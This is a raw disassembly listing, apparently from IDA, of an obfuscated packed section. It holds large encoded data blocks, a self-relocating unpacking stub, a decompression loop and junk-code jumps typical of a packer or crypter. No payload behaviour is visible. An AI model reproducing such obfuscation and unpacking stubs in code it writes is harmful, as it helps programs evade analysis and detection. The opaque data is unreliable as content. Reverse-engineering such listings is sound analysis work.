		dd 0F30996FBh, 0F300173Fh, 0FF3FB884h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 8EA7CC8Ch, 0FE948h, 0C5B80000h, 1B644986h, 0D7517604h
		dd 0C60E9B68h, 0F08D8B14h, 8B07E94Ch, 0E926799Dh, 6A01FE07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 53B3C350h, 9585290Fh, 8B07E925h, 0E94CF085h
		dd 819D8B07h, 0FE07E920h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 784338EAh
		dd 0C381661Dh, 16AD6C9h, 0B01BA66h, 0B229F668h,	243481CCh
		dd 334DB609h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	12C35343h, 8DDC62A0h, 0EC675785h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0C158D36Fh, 6E0F5214h, 0D0BF0FD5h, 0BE9h, 9A8A7700h
		dd 0AF730799h, 19D9DD1Ah, 890FD0FFh, 0
		dd 23F1BD83h, 0F0007E9h, 0B984h, 5E900h, 0E1BE0000h, 8354ECF7h
		dd 0E91B69BDh, 850F0107h, 0A2h,	8DD0BF0Fh, 0EC67618Dh
		dd 3ABB6607h, 1036AF0h,	0E924E985h, 0FC016A07h,	6AD1FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 49CFBDC3h, 1554E23h,	6A016Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A954C5C3h, 5908E257h
		dd 16A7C2Ch, 0C1BD29h, 0FFF907E9h, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0D2CC493Eh
		dd 0E84ED780h, 0F872704Ch, 6830Fh, 0EA810000h, 34E5AA85h
		dd 206AF48Ah, 0BB9958Bh, 0FF6A07E9h, 0A358501h,	95FF07E9h
		dd 7E90C15h, 9AE38166h,	0B8DFh,	0E7800000h, 0FC00B98h
		dd 4684h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 36F75BA6h, 9950360h, 8107E909h, 953A1AD7h
		dd 0BD83617Eh, 7E90FB9h, 0C840F00h, 29000000h, 0E92D55B5h
		dd 3595FF07h, 8B07E913h, 0E9087585h, 0DABF0F07h, 90000C6h
		dd 0E900D195h, 0EA815807h, 4D8814D7h, 0E890Fh, 0F600000h
		dd 80h,	2D8D0900h, 6107E909h, 66D98C66h, 0C1F6D38Bh, 3F840F04h
		dd 81000000h, 9AA4B3CBh, 9E94Eh, 87D10000h, 0BA942729h
		dd 0E9EE6416h, 26h, 0B58BD08Ah,	7E90905h, 25299D8Bh, 0C68107E9h
		dd 1180h, 13119D8Bh, 6C707E9h, 0
		dd 5B529h, 0F5E07E9h, 185h, 0F883F500h,	0CE840F00h, 6600000Ah
		dd 836D51BBh, 850F01F8h, 138h, 1C3D9D8Bh, 0B807E9h, 8B000000h
		dd 0E90BD19Dh, 0C3816607h, 0C00B5A72h, 0C3840Fh, 66600000h
		dd 9BA1EA81h, 25918531h, 836107E9h, 840F01F8h, 0C5h, 815BD29h
		dd 0F88307E9h, 46840F03h, 0E9000000h, 0Bh, 2F8F6245h, 99B2A489h
		dd 0B8D7486Fh, 0
aB6aFnRi	db 'Ê6€Éf½à‰[',0
aJ		db 'j',0
		dw 0E850h
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 67C35040h, 8BE7FF15h
		dd 0E92A419Dh, 1B807h, 8DF50000h, 5B89E0BDh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4DF3D752h, 895B24E1h, 0E9180D85h, 6AE7FF07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 3C0C350h, 0E922B59Dh, 7CBD8D07h, 0FC07E943h,	195B529h
		dd 6CE907E9h, 89000002h, 0E9247D9Dh, 4B85C707h,	507E94Dh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 6178C352h, 5B8DE9Fh, 89000000h
		dd 0E92F7DB5h, 903E907h, 9D8B0000h, 7E92FA9h, 0F02F883h
		dd 0CD85h, 8E900h, 0E3EF0000h, 5C58163h, 0B8B0F7h, 0E9000000h
		dd 9, 0C916E98Ah, 0B06BDF25h, 0AE81Bh, 0F7970000h, 776A2ED2h
		dd 4DFD8B5Eh, 3165958Bh, 0B5A07E9h, 7F840FC0h, 0B000000h
		dd 0E935759Dh, 1F88307h, 0FF6B840Fh, 9D8BFFFFh,	7E92A39h
		dd 0F03F883h, 0FFFEEC84h, 0DDBD89FFh, 0F07E91Eh, 1787h
		dd 12E900h, 812B0000h, 5419BBFDh, 0EE3AC4Dh, 6A1327BEh
		dd 0A728CBAh, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BA66AAC3h, 0BD8D9FDBh, 5B89E0h
		dd 7DF28166h, 0E9E7FFC5h, 8, 18E3B631h,	3F9EEA16h, 0BD8DD8B7h
		dd 7E94574h, 54E9DA8Bh,	0F000001h, 0F883D2B7h, 39850F03h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B4AC350h, 0E916FD9Dh,	8BD8D07h
		dd 8B07E947h, 0E913599Dh, 115E907h, 95890000h, 7E92125h
		dd 0F05F883h, 4E85h, 0FE800h, 8870000h,	0B18FA444h, 0C55D590Bh
		dd 91CFF529h, 559D8BF7h, 5A07E931h, 7BCE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0ECE253F8h, 49579691h, 0D380399Bh, 159D8BB3h, 8307E923h
		dd 850F06F8h, 1Fh, 958BE9B6h, 7E91EE9h,	4900BD8Dh, 8D8907E9h
		dd 7E90E3Dh, 96E9h, 69B50100h, 8307E92Eh, 850F07F8h, 44h
		dd 1FE59D29h, 830F07E9h, 8, 2880Fh, 5B520000h, 349BD8Dh
		dd 9D2B07E9h, 7E92101h,	36E9A5B3h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 829EC353h, 0F0AF883h, 3A85h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0F7367CFh
		dd 0BD8DFBD9h, 7E94AF8h, 5840Fh, 1BBB0000h, 0E966D7F1h
		dd 3, 57DE8B66h, 0B868DB81h, 36B947F3h,	6A7B9F0Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 461EC352h, 3589958Bh, 830F07E9h, 3, 839FC780h, 840F003Fh
		dd 73h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
		dd 7CC35343h, 3F71ED0h,	1169B589h, 0F3007E9h, 0A6FEBA66h
		dd 0BE9C9D1h, 0EF000000h, 0AE296CECh, 496487E6h, 6A47927Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0E853C353h, 71AA30D6h, 0BA3EAF77h, 593AE894h
		dd 0FFFF8AE9h, 0BAF381FFh, 5F3EC4C4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 33C35141h, 0D08BD3B0h, 0F4BD89B7h
		dd 0F907E94Ch, 0ABD958Bh, 8D8D07E9h, 7E90FF1h, 0ADB96660h
		dd 0D3DA8114h, 610883C5h, 138DB5FFh, 6A07E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8914E1C3h
		dd 0E90711BDh, 0C3816607h, 858D8869h, 7EBD19Dh,	6BBD8D50h
		dd 8D07E954h, 0E96BEE8Dh, 1ABCB807h, 0CF2B5483h, 0C8D00730h
		dd 0F8754947h, 6B65B58Dh, 8D8D07E9h, 7E96C06h, 0A4F3CF2Bh
		dd 0B8C933h, 0B000000h,	834674C0h, 0E90FB9BDh, 6740007h
		dd 133595FFh, 0B58B07E9h, 7E94CF4h, 0D19D858Dh,	0D0FF07EBh
		dd 42FF858Dh, 0D0FF07E9h, 1DBD85C7h, 107E9h, 0A58B0000h
		dd 7E90C71h, 2F75B58Bh,	0AD8B07E9h, 7E90BA1h, 0CC2C033h
		dd 37F28000h, 0EE9h, 34891F00h,	1A112A49h, 82D79BAFh, 8344E66Dh
		dd 0E929E5BDh, 840F0007h, 5Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 8CC35343h, 0A11E3249h, 663CC5EEh
		dd 12E907h, 731A0000h, 45B1E130h, 39814F83h, 0F6C3CFB7h
		dd 0D874A1A4h, 358D95FFh, 0E85207E9h, 10h, 3647D786h, 306FD9Ah
		dd 6E364D1h, 0A422A919h, 5BDBBF0Fh, 0A9BD835Ah,	7E926h
		dd 124850Fh, 9D8B0000h,	7E92615h, 1B69BD83h, 0F0107E9h
		dd 11185h, 14E900h, 0D9A20000h,	8DDB95D0h, 867782F1h, 2148896Bh
		dd 0B02CB26h, 0BD832C90h, 7E92319h, 0EB840F00h,	1000000h
		dd 0E90AE585h, 47BD8307h, 7E94Dh, 0D8840Fh, 0E6800000h
		dd 9D858D63h, 6A07EBD1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B89C351h, 0E9194D9Dh
		dd 51BD2907h, 8B07E900h, 0E94CF4B5h, 10E807h, 45620000h
		dd 0F49D46F6h, 3DA8FE7h, 0B7AB8D45h, 5AF97B21h,	6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 309C82C3h, 265985C6h, 565407E9h, 0AE9h, 5D96E700h, 0B1E6402Ch
		dd 5A15E65Ch, 13272668h, 240481A0h, 5F3B97CEh, 0FA5B509h
		dd 0D98B07E9h, 2669B5FFh, 9D8907E9h, 7E90319h, 3ABC858Dh
		dd 8B6607E9h, 0F8D0FFDFh, 87B6006Ah, 8950FF6Ah,	0E92F898Dh
		dd 0D0FF5B07h, 358ACB81h, 0B5FF6B9Fh, 7E91E11h,	2A88BA66h
		dd 138D95FFh, 0B58B07E9h, 7E94CF4h, 31B529C3h, 8B07E900h
		dd 0E90875B5h, 0B5958B07h, 0B07E911h, 2B840FF6h, 0BA000000h
		dd 64CDBD49h, 6A0006C6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 95DDC355h, 4E3EBBC6h
		dd 85891154h, 7E94CFCh,	8B19D2Bh, 0F88307E9h, 0AA840F00h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0DBE3C353h, 0B862C3h, 80000000h
		dd 9D3174F7h, 7E91821h,	0F00F883h, 0B484h, 0A1B50900h
		dd 8307E919h, 850F02F8h, 8Eh, 28E0F51h,	60000000h, 8D895A61h
		dd 7E91551h, 4377858Dh,	292D07E9h, 8A000009h, 0EA8166D9h
		dd 5090EB66h, 0BE8h, 42324500h,	0DEB41713h, 0F2DEEE78h
		dd 5BD18B66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 720825E8h, 874610EEh, 41D28104h
		dd 0E913C949h, 0Dh, 0DCBC3A00h,	0C28BF5CDh, 0E601B400h
		dd 0E951C3E0h, 11h, 1FFD3DDCh, 580E554Dh, 0CD379E72h, 7F85C2AEh
		dd 0B85B6Eh, 8B000000h,	0E9258595h, 0D88B6607h,	2C4E9h
		dd 15BB6600h, 1B8C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0D7852AC3h, 9C28637Ch
		dd 0FBDA81D6h, 896158E5h, 0E92AE59Dh, 7CBD8D07h, 6A07E943h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BC96C357h, 0EAE918h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6B1D0C3h
		dd 0BE6DEA4Fh, 0C2816684h, 0BF0F15ACh, 2F883DEh, 4A850Fh
		dd 0DE8B0000h, 4574BD8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 210239C3h, 2399BD89h
		dd 0D38A07E9h, 83E9h, 12E900h, 7A1E0000h, 74B0BE81h, 88FE7059h
		dd 5664FE34h, 998094C5h, 0F03F883h, 2085h, 4C38000h, 0CD07BA66h
		dd 4708BD8Dh, 958907E9h, 7E91659h, 4BE9h, 0BD895300h, 7E91C5Dh
		dd 5F8835Bh, 3A850Fh, 13E80000h, 21000000h, 628077ACh
		dd 62998FFCh, 0B390989Bh, 0E88FE5BFh, 9D8B6732h, 7E90DA5h
		dd 103E95Bh, 11E90000h,	0CC000000h, 5951A077h, 5909A6Bh
		dd 0B1D6BBD4h, 950667ACh, 51006A57h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 8071DD42h
		dd 89CFCE9Ch, 0E90ECDB5h, 0B36B907h, 9D237B9Fh,	7E91AC5h
		dd 0F003F83h, 0B084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 30ED0C7Dh, 0F763BB0Fh
		dd 0C9D10F2Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	72C35747h, 4F219F1h, 8870F2Fh, 51000000h, 1FE58529h
		dd 0E85A07E9h, 10h, 0D5E272B4h,	8D94B09Eh, 8EC0A284h, 0A24C0313h
		dd 779958Bh, 475B07E9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0C4C35646h, 8361F407h, 0E9ACB84Bh, 0FFFFFF5Ch
		dd 9E8h, 32F83000h, 0B0B28557h,	0BD29DBB8h, 7E92529h, 5F8835Ah
		dd 83850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 958BCCC3h, 7E91E01h, 0FD98C66h
		dd 0D780D6BFh, 4C1F63Ah, 21850Fh, 0CA800000h, 0B8EFh, 810F0000h
		dd 6, 3571B509h, 36E907E9h, 66000000h, 25B3F381h, 8BD08B66h
		dd 0E9124585h, 0E0FFFC07h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 42C35242h, 89CE7C54h,	0E9136985h, 8DBD8307h
		dd 7E913h, 0F6850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 4E9626C3h, 29D05D32h
		dd 0BF0F712Ah, 12E9D7h,	87240000h, 67AAD642h, 0BB62964h
		dd 37B57944h, 73ADCEAAh, 5E850h, 6D3B0000h, 8BF5EF05h
		dd 4895BD9h, 0D7B70F24h, 265985C6h, 0F4507E9h, 681h, 61958900h
		dd 6807E90Bh, 8E88FE6Eh, 8636BF60h, 0B8531485h,	2BFC4924h
		dd 3481615Fh, 0FA970724h, 0E8EA8100h, 0FF07225Bh, 0E92669B5h
		dd 8DFD8A07h, 0E93ABC85h, 0E9606007h, 14h, 0D0C93B7Ch
		dd 0D4994965h, 69B3DA1Fh, 36156413h, 0DCE4A58h,	0EED98166h
		dd 0F18B6153h, 8BD0FF61h, 891BB6D6h, 0E9138D85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 2CBD5309h, 0E045FCA0h, 0EA816607h, 8151E174h, 0E06983CBh
		dd 0F9585B6Eh, 4D4BBD83h, 0F0007E9h, 5F84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7196B359h, 94D96E8Bh, 7799D8Bh, 0B5FF07E9h, 7E91E11h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D4C35646h
		dd 0DABA5003h, 5A45FDBCh, 138D95FFh, 0CB8107E9h, 630312E6h
		dd 0F00F883h, 6B85h, 5ED28100h,	8361B412h, 0E90B1DBDh
		dd 840F0007h, 29h, 0F0EA8166h, 1DB5FFD0h, 0F07E90Bh, 580h
		dd 0BAECBB00h, 1B8404Fh, 66000000h, 0DDACC281h,	1EAE9h
		dd 5ABA6600h, 11B5FF76h, 0F07E91Eh, 684h, 35858900h, 0FF07E900h
		dd 0E91E11B5h, 0B5FFF807h, 7E9138Dh, 0E976C780h, 1BFh
		dd 958B14B2h, 7E91331h,	57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0C5BD8363h, 7E918h, 0D9850Fh
		dd 958B0000h, 7E90D99h,	265985C6h, 6A4D07E9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 28BEC352h, 216343D1h, 93CE38AFh, 191D8589h, 4E807E9h
		dd 0A8000000h, 0FA43576h, 1084h, 0BE900h, 562E0000h, 0D9F26C1Fh
		dd 41D02500h, 57515093h, 864ABA66h, 448B5A5Ah, 0F08A0424h
		dd 0DA8B008Bh, 4244489h, 0B658DE8Bh, 0B5B5FFF1h, 6A07E916h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 76DC356h,	858DD4C7h, 7E93ABCh, 22C19589h
		dd 0D0FF07E9h, 5270CE80h, 0AEC28060h, 0CE8h, 7D13D000h
		dd 7A9F9D73h, 3B24C108h, 5A6158D1h, 18C58589h, 9D8B07E9h
		dd 7E9209Dh, 5870Fh, 81660000h,	0B81032F2h, 0
		dd 0AE9h, 0BA878C00h, 415C5A07h, 29028567h, 0E91DE985h
		dd 0F4BD8907h, 6A07E94Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0DB0FC350h,	9D8BB35Fh
		dd 7E90BA5h, 840FC00Bh,	11h, 0BC58509h,	5CE907E9h, 89000000h
		dd 0E92401B5h, 8DB5FF07h, 6607E913h, 241DA81h, 0D19D858Dh
		dd 0BD8907EBh, 7E90FA1h, 895B5050h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2CA0FCC3h
		dd 0B3F74E15h, 0E9471274h, 0Fh,	0E4CD65CCh, 0C10FCBC9h
		dd 452290E1h, 50B2DFB6h, 6BBD8D56h, 8D07E954h, 0E975C28Dh
		dd 23BCB807h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh
		dd 7E90B1Dh, 8B067400h,	0E921618Dh, 0B8C93307h,	0
		dd 840FC00Bh, 0A8h, 0FB9BD83h, 740007E9h, 3595FF06h, 0B807E913h
		dd 0
		dd 975C00Bh, 4CFCBD83h,	740107E9h, 0FCBD8309h, 207E94Ch
		dd 0B58B0E75h, 7E94CF4h, 0D19D858Dh, 0D0FF07EBh, 29E5BD83h
		dd 740007E9h, 8D95FF06h, 8D07E935h, 0E942FF85h,	83D0FF07h
		dd 0E92625BDh, 2F750207h, 0C71A58Bh, 858B07E9h,	7E90B1Dh
		dd 0C7240489h, 0E91DBD85h, 107h, 0F8B58B00h, 8B07E94Ch
		dd 0E90BA1ADh, 1B807h, 0CC20000h, 0C700EB00h, 0E91DBD85h
		dd 107h, 71A58B00h, 8B07E90Ch, 0E92F75B5h, 0A1AD8B07h
		dd 3307E90Bh, 0CC2C0h, 29E5BD83h, 740007E9h, 8DBD830Fh
		dd 7E935h, 95FF0674h, 7E9358Dh,	4CF4B58Bh, 81C307E9h, 311EC6F2h
		dd 0BE903h, 50540000h, 64032B17h, 14408AC5h, 57D22B03h
		dd 0FB1B589h
		db 0E9h, 7, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58B49B
; ---------------------------------------------------------------------------


loc_58B499:				; CODE XREF: sdfs____:0058B49Ej
		inc	eax
		inc	edi


loc_58B49B:				; CODE XREF: sdfs____:0058B497j
		cmp	byte ptr [edi],	0
		jnz	short loc_58B499
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58B4CA
; ---------------------------------------------------------------------------


loc_58B4A7:				; CODE XREF: sdfs____:0058B4CCj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58B4BF
; ---------------------------------------------------------------------------


loc_58B4BC:				; CODE XREF: sdfs____:0058B4C2j
		mul	ebx
		dec	esi


loc_58B4BF:				; CODE XREF: sdfs____:0058B4BAj
		cmp	esi, 0
		ja	short loc_58B4BC
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58B4CA:				; CODE XREF: sdfs____:0058B4A5j
		or	eax, eax
		jnz	short loc_58B4A7
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 9D23F5B6h, 7E90219h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_58B4E0:				; CODE XREF: sub_587F3F:loc_588B09j
		mov	eax, ecx
		jmp	loc_58B694
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		db 60h
		dd 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h, 2BB47h, 0D2020000h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h, 0FD202FFh
		dd 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h,	5850Fh
		dd 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h, 46168A00h
		dd 0C013D212h, 850FD202h, 5, 1246168Ah,	2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 13D21246h, 6840FC0h,	57000000h, 78AF82Bh, 4707885Fh
		dd 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h, 2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh, 0A4F3F52Bh
		dd 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h, 1, 850FD202h
		dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 0FFDE820Fh, 3DFFFFh,	0F00007Dh, 2283h, 5003D00h, 820F0000h
		dd 0Eh,	0F78B5641h, 0A4F3F02Bh,	0FEB4E95Eh, 0F883FFFFh
		dd 3870F7Fh, 83000000h,	8B5602C1h, 0F3F02BF7h, 9BE95EA4h
		dd 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h, 2D18300h, 8B56E88Bh
		dd 0F3F02BF7h, 1BB5EA4h, 0E9000000h, 0FFFFFE76h, 28247C2Bh
		dd 1C247C89h, 8C261h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_58B694:				; CODE XREF: sub_587F3F+35A3j
		mov	edx, 929h
		jmp	loc_5B045B
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dw 0FEF4h
		dd 1B0012h, 0C248026Dh,	0C2480060h, 230060h, 0A525026Dh
		dd 60h,	2020000h, 20000h, 10000h, 30000h, 3DBA0000h, 0F86Fh
		dd 4 dup(0)
		dd 77550000h, 104F0059h, 621F0059h, 0F8CB0059h,	2F5E0058h
		dd 1F150059h, 0EB4E0059h, 0EF690058h, 2C2F0058h, 0E7F30059h
		dd 0F44B0058h, 18C70058h, 49210059h, 0EA60059h,	7F7A0059h
		dd 0E38A0059h, 0C1650058h, 2FA30058h, 0E2840059h, 0E7C00058h
		dd 0D59C0058h, 71C0058h, 0BFEA0059h, 77FC0058h,	0C89A0059h
		dd 5F1A0058h, 71470059h, 60050059h, 0EA750059h,	0BA230058h
		dd 0BAC20058h, 0C5C50058h, 3BEE0058h, 26C30059h, 5430059h
		dd 16C90059h, 0B4B0059h, 445D0059h, 0E22A0059h,	723D0058h
		dd 30E10059h, 0BB860059h, 31750058h, 403E0059h,	0C0F20059h
		dd 6E8C0058h, 3E460059h, 0E3390059h, 0FB9B0058h, 3EAC0058h
		dd 0D6890059h, 0DB100058h, 2AF0058h, 0FECA0059h, 437E0058h
		dd 57740059h, 5DCB0059h, 2B0E0059h, 4A450059h, 0D1A0059h
		dd 5C1F0059h, 0FB580059h, 62A10058h, 40B10059h,	22C0059h
		dd 0CAB30059h, 0E9D60058h, 65D0058h, 39A90059h,	45AD0059h
		dd 0EF3A0059h, 106D0058h, 0BCA60059h, 37BC0058h, 0AB90059h
		dd 0F7CE0059h, 68380058h, 5E7A0059h, 0D0560059h, 3F2A0058h
		dd 76430059h, 0D6A0059h, 5DD0059h, 124F0059h, 394E0059h
		dd 0F41A0059h, 0FD160058h, 572E0058h, 68280059h, 14A80059h
		dd 3740059h, 36C30059h,	8B070059h, 0F8A70059h, 0BF670058h
		dd 64EB0058h, 415E0059h, 0D6480059h, 0DF540058h, 0E0690058h
		dd 0C2280058h, 200C0058h, 5B270059h, 63400059h,	0C3A40059h
		dd 0D4A30058h, 0DCDA0058h, 4FA70058h, 24AD0059h, 41B50059h
		dd 0D5C10059h, 0D7B70058h, 0BAA0058h, 5D7E0059h, 27CD0059h
		dd 0F7850059h, 1F270058h, 4B7A0059h, 2D950059h,	2FD60059h
		dd 0BBC90059h, 0D0010058h, 24DF0058h, 0F7D60059h, 0DC330058h
		dd 0E4140058h, 41840058h, 0F5E70059h, 1CD0058h,	87D70059h
		dd 2B1E0059h, 83A50059h, 239F0059h, 3FEA0059h, 13D80059h
		dd 22720059h, 669D0059h, 5E890059h, 0CD970059h,	0CE3E0058h
		dd 65590058h, 0DC6F0059h, 6FA50058h, 30D90059h,	39F10059h
		dd 0F6370059h, 70060058h, 0E90A0059h, 72650058h, 80920059h
		dd 61D60059h, 207B0059h, 46C00059h, 70A10059h, 39080059h
		dd 0DBF90059h, 2B850058h, 38440059h, 19790059h,	3C8C0059h
		dd 1C920059h, 0E8470059h, 3FB90058h, 7C590059h,	895F0059h
		dd 8B540059h, 630F0059h
		db 59h,	0
; ---------------------------------------------------------------------------


loc_58B97E:				; CODE XREF: sdfs____:005BAFD3j
					; sdfs____:005BD912j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E97BCCh
		mov	eax, edi
		add	edi, 7E978E4h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58B99C
		jmp	short loc_58B9AF
; ---------------------------------------------------------------------------


loc_58B99C:				; CODE XREF: sdfs____:0058B998j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58B9AB
; ---------------------------------------------------------------------------


loc_58B9A6:				; CODE XREF: sdfs____:0058B9ADj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58B9AB:				; CODE XREF: sdfs____:0058B9A4j
		or	ecx, ecx
		jnz	short loc_58B9A6


loc_58B9AF:				; CODE XREF: sdfs____:0058B99Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58B9BC:				; CODE XREF: sdfs____:0058B9C3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58B9BC


loc_58B9C5:				; CODE XREF: sdfs____:0058B9D9j
					; sdfs____:0058BC0Cj ...
		lodsb
		jmp	loc_590B62
; ---------------------------------------------------------------------------


loc_58B9CB:				; CODE XREF: sdfs____:0058D2D8j
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58B9DE:				; CODE XREF: sdfs____:005949E9j
		add	ebx, ecx
		sub	ebx, 1A357F73h
		add	ebx, 1E072608h
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_59026D
; ---------------------------------------------------------------------------


loc_58B9F5:				; CODE XREF: sdfs____:0058E053j
		pop	ebx
		jmp	loc_594E61
; ---------------------------------------------------------------------------


loc_58B9FB:				; CODE XREF: sdfs____:00595BCDj
		pop	ebp
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 64EC485Ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_594BC1
; ---------------------------------------------------------------------------
		dd 80BBB353h, 0E6E9FDE3h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BA1B:				; CODE XREF: sdfs____:0059820Cj
		mov	[esp], ecx
		jmp	loc_58F6BC
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 193Ah, 83243C89h,	248904ECh, 3047E924h, 4810000h
		dd 1F56AD24h, 242C812Ah, 78093DE4h, 52A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BA4D:				; CODE XREF: sdfs____:0059453Aj
		push	ecx
		mov	ecx, 51FE842Ah
		add	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		pop	eax
		add	ebx, eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
